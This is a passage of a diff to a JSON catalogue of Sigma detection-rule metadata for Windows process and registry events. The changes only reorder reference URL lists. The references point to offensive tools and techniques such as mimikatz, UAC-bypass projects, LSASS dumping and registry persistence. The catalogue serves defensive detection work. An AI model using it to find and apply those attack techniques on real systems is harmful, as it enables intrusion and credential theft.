"windows", "refs": [ - "https://twitter.com/cglyer/status/1182389676876980224", "https://twitter.com/cglyer/status/1182391019633029120", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml", + "https://twitter.com/cglyer/status/1182389676876980224" ], "tags": [ "attack.persistence", @@ -57340,8 +57338,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", + "https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_workflow_compiler.yml" ], "tags": [ @@ -57440,8 +57438,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cab_extraction.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cab_extraction.yml", + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" ], "tags": [ "attack.execution" @@ -57463,9 +57461,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml", "https://www.echotrail.io/insights/search/wusa.exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wusa_susp_cap_extraction_from_susp_paths.yml" + "https://web.archive.org/web/20180331144337/https://www.fireeye.com/blog/threat-research/2018/03/sanny-malware-delivery-method-updated-in-recently-observed-attacks.html" ], "tags": [ "attack.execution" @@ -57487,8 +57485,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/audibleblink/xordump", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xordump.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xordump.yml", + "https://github.com/audibleblink/xordump" ], "tags": [ "attack.defense_evasion", @@ -57514,8 +57512,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xsl_script_processing.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_xsl_script_processing.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md" ], "tags": [ "attack.defense_evasion", @@ -57563,8 +57561,8 @@ "logsource.product": "windows", "refs": [ "https://persistence-info.github.io/Data/amsi.html", - "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_amsi_providers_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_amsi_providers_persistence.yml", + "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/FakeAMSI/FakeAMSI.c" ], "tags": [ "attack.persistence" @@ -57587,8 +57585,8 @@ "logsource.product": "windows", "refs": [ "https://attack.mitre.org/techniques/T1037/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_logon_scripts_userinitmprlogonscript_reg.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_logon_scripts_userinitmprlogonscript_reg.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1037.001/T1037.001.md" ], "tags": [ "attack.t1037.001", @@ -57612,12 +57610,12 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ - "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", - "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/", - "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", - "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", "https://app.any.run/tasks/41ecdbde-4997-4301-a350-0270448b4c8f/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_netwire.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_netwire.yml", + "https://www.fortinet.com/blog/threat-research/new-netwire-rat-variant-spread-by-phishing", + "https://blogs.blackberry.com/en/2021/09/threat-thursday-netwire-rat-is-coming-down-the-line", + "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/", + "https://resources.infosecinstitute.com/topic/netwire-malware-what-it-is-how-it-works-and-how-to-prevent-it-malware-spotlight/" ], "tags": [ "attack.defense_evasion", @@ -57640,9 +57638,9 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_ursnif.yml", "https://blog.yoroi.company/research/ursnif-long-live-the-steganography/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_mal_ursnif.yml" + "https://blog.trendmicro.com/trendlabs-security-intelligence/phishing-campaign-uses-hijacked-emails-to-deliver-ursnif-by-replying-to-ongoing-threads/" ], "tags": [ "attack.execution", @@ -57665,8 +57663,8 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ - "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_key_linking.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_persistence_key_linking.yml", + "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/" ], "tags": [ "attack.persistence", @@ -57689,8 +57687,8 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_renamed_sysinternals_eula_accepted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_renamed_sysinternals_eula_accepted.yml", + "Internal Research" ], "tags": [ "attack.resource_development", @@ -57738,8 +57736,8 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ - "https://twitter.com/Moti_B/status/1008587936735035392", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_eula_accepted.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_eula_accepted.yml", + "https://twitter.com/Moti_B/status/1008587936735035392" ], "tags": [ "attack.resource_development", @@ -57762,9 +57760,9 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_sdelete_registry_keys.yml", "https://github.com/OTRF/detection-hackathon-apt29/issues/9", - "https://threathunterplaybook.com/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_add_sysinternals_sdelete_registry_keys.yml" + "https://threathunterplaybook.com/evals/apt29/detections/4.B.2_59A9AC92-124D-4C4B-A6BF-3121C98677C3.html" ], "tags": [ "attack.defense_evasion", @@ -57787,9 +57785,9 @@ "logsource.category": "registry_add", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_set_disk_cleanup_handler_new_entry_persistence.yml", "https://persistence-info.github.io/Data/diskcleanuphandler.html", - "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_add/registry_set_disk_cleanup_handler_new_entry_persistence.yml" + "https://www.hexacorn.com/blog/2018/09/02/beyond-good-ol-run-key-part-86/" ], "tags": [ "attack.persistence" @@ -57811,8 +57809,8 @@ "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_exploit_guard_protected_folders.yml", + "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/" ], "tags": [ "attack.defense_evasion", @@ -57861,8 +57859,8 @@ "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://seclists.org/fulldisclosure/2020/Mar/45", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_amsi_registry_key.yml" ], "tags": [ @@ -57886,12 +57884,12 @@ "logsource.category": "registry_delete", "logsource.product": "windows", "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", "https://github.com/OTRF/detection-hackathon-apt29/issues/7", "https://threathunterplaybook.com/evals/apt29/detections/3.C.1_22A46621-7A92-48C1-81BF-B3937EB4FDC3.html", - "https://docs.microsoft.com/en-us/windows/win32/shell/launch", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml", "https://docs.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand", - "https://docs.microsoft.com/en-us/windows/win32/shell/shell-and-managed-code", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_delete/registry_delete_removal_com_hijacking_registry_key.yml" + "https://docs.microsoft.com/en-us/windows/win32/shell/launch" ], "tags": [ "attack.defense_evasion", @@ -57962,8 +57960,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/SBousseaden/status/1387530414185664538", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_add_local_hidden_user.yml", + "https://twitter.com/SBousseaden/status/1387530414185664538" ], "tags": [ "attack.persistence", @@ -57986,8 +57984,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_chafer_mar18.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_chafer_mar18.yml", + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/" ], "tags": [ "attack.persistence", @@ -58039,9 +58037,9 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml", "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", - "https://github.com/eset/malware-ioc/tree/master/oceanlotus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_apt_oceanlotus_registry.yml" + "https://github.com/eset/malware-ioc/tree/master/oceanlotus" ], "tags": [ "attack.defense_evasion", @@ -58090,8 +58088,8 @@ "logsource.product": "windows", "refs": [ "https://www.bleepingcomputer.com/news/security/trickbot-uses-a-new-windows-10-uac-bypass-to-launch-quietly", - "https://lolbas-project.github.io/lolbas/Binaries/Wsreset", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_bypass_via_wsreset.yml", + "https://lolbas-project.github.io/lolbas/Binaries/Wsreset" ], "tags": [ "attack.defense_evasion", @@ -58142,8 +58140,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1182516740955226112", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_disable_security_events_logging_adding_reg_key_minint.yml", + "https://twitter.com/0gtweet/status/1182516740955226112" ], "tags": [ "attack.defense_evasion", @@ -58240,8 +58238,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/Cyb3rWard0g/status/1381642789369286662", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_hybridconnectionmgr_svc_installation.yml", + "https://twitter.com/Cyb3rWard0g/status/1381642789369286662" ], "tags": [ "attack.resource_development", @@ -58264,8 +58262,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mal_azorult.yml", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/trojan.win32.azoruit.a" ], "tags": [ "attack.execution", @@ -58312,10 +58310,10 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", - "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf", "https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/4464eaf0-f34f-40d5-b970-736437a21913", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml" + "https://github.com/gentilkiwi/mimikatz/commit/c21276072b3f2a47a21e215a46962a17d54b3760", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_mimikatz_printernightmare.yml", + "https://www.lexjansen.com/sesug/1993/SESUG93035.pdf" ], "tags": [ "attack.execution", @@ -58340,9 +58338,9 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md", "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_modify_screensaver_binary_path.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md" ], "tags": [ "attack.persistence", @@ -58390,8 +58388,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_net_ntlm_downgrade.yml", + "https://www.optiv.com/blog/post-exploitation-using-netntlm-downgrade-attacks" ], "tags": [ "attack.defense_evasion", @@ -58415,8 +58413,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", "https://eqllib.readthedocs.io/en/latest/analytics/14f90406-10a0-4d36-a672-31cabe149f2f.html", + "http://www.hexacorn.com/blog/2013/01/19/beyond-good-ol-run-key-part-3/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appcertdlls_registry_key.yml" ], "tags": [ @@ -58440,8 +58438,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_new_dll_added_to_appinit_dlls_registry_key.yml", + "https://eqllib.readthedocs.io/en/latest/analytics/822dc4c5-b355-4df8-bd37-29c458997b8f.html" ], "tags": [ "attack.persistence", @@ -58464,8 +58462,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://attack.mitre.org/techniques/T1137/002/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_office_test_regadd.yml", + "https://attack.mitre.org/techniques/T1137/002/" ], "tags": [ "attack.persistence", @@ -58513,9 +58511,9 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://adepts.of0x.cc/netsh-portproxy-code/", "https://www.dfirnotes.net/portproxy_detection/", + "https://adepts.of0x.cc/netsh-portproxy-code/", + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_portproxy_registry_key.yml" ], "tags": [ @@ -58565,8 +58563,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runkey_winekey.yml", + "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html" ], "tags": [ "attack.persistence", @@ -58589,9 +58587,9 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://twitter.com/pabraeken/status/990717080805789697", "https://lolbas-project.github.io/lolbas/Binaries/Runonce/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_runonce_persistence.yml", + "https://twitter.com/pabraeken/status/990717080805789697" ], "tags": [ "attack.defense_evasion", @@ -58614,10 +58612,10 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://github.com/hfiref0x/UACME", + "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", "https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/", "https://github.com/RhinoSecurityLabs/Aggressor-Scripts/tree/master/UACBypass", - "https://tria.ge/211119-gs7rtshcfr/behavioral2 [Lokibot sample from Nov 2021]", + "https://github.com/hfiref0x/UACME", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_shell_open_keys_manipulation.yml" ], "tags": [ @@ -58644,8 +58642,8 @@ "logsource.product": "windows", "refs": [ "https://www.deepinstinct.com/2021/02/16/lsass-memory-dumps-are-stealthier-than-ever-before-part-2/", - "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_silentprocessexit_lsass.yml", + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/" ], "tags": [ "attack.credential_access", @@ -58692,9 +58690,9 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_stickykey_like_backdoor.yml", + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/" ], "tags": [ "attack.privilege_escalation", @@ -58720,9 +58718,9 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml", "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_atbroker_change.yml" + "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/" ], "tags": [ "attack.defense_evasion", @@ -58771,9 +58769,9 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://blog.xpnsec.com/exploring-mimikatz-part-1/", "https://twitter.com/SBousseaden/status/1183745981189427200", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_lsass_dll_load.yml", + "https://blog.xpnsec.com/exploring-mimikatz-part-1/" ], "tags": [ "attack.execution", @@ -58797,8 +58795,8 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ - "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_susp_mic_cam_access.yml", + "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072" ], "tags": [ "attack.collection", @@ -58822,9 +58820,9 @@ "logsource.category": "registry_event", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_trust_record_modification.yml", "https://outflank.nl/blog/2018/01/16/hunting-for-evil-detect-macros-being-executed/", - "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_event/registry_event_trust_record_modification.yml" + "http://az4n6.blogspot.com/2016/02/more-on-trust-records-macros-and.html" ], "tags": [ "attack.initial_access", @@ -58873,8 +58871,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_hidden_user.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_hidden_user.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1564.002/T1564.002.md" ], "tags": [ "attack.defense_evasion", @@ -58897,9 +58895,9 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-33---windows-add-registry-value-to-load-service-in-safe-mode-without-network", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_add_load_service_in_safe_mode.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-34---windows-add-registry-value-to-load-service-in-safe-mode-with-network" ], "tags": [ "attack.defense_evasion", @@ -58970,8 +58968,8 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_allow_rdp_remote_assistance_feature.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md" ], "tags": [ "attack.defense_evasion", @@ -58995,10 +58993,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_classes.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" ], "tags": [ "attack.persistence", @@ -59022,11 +59020,11 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", - "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", "https://persistence-info.github.io/Data/userinitmprlogonscript.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_common.yml", + "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns" ], "tags": [ "attack.persistence", @@ -59050,10 +59048,10 @@ "logsource.category": "registry_set", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", - "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml", "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md", + 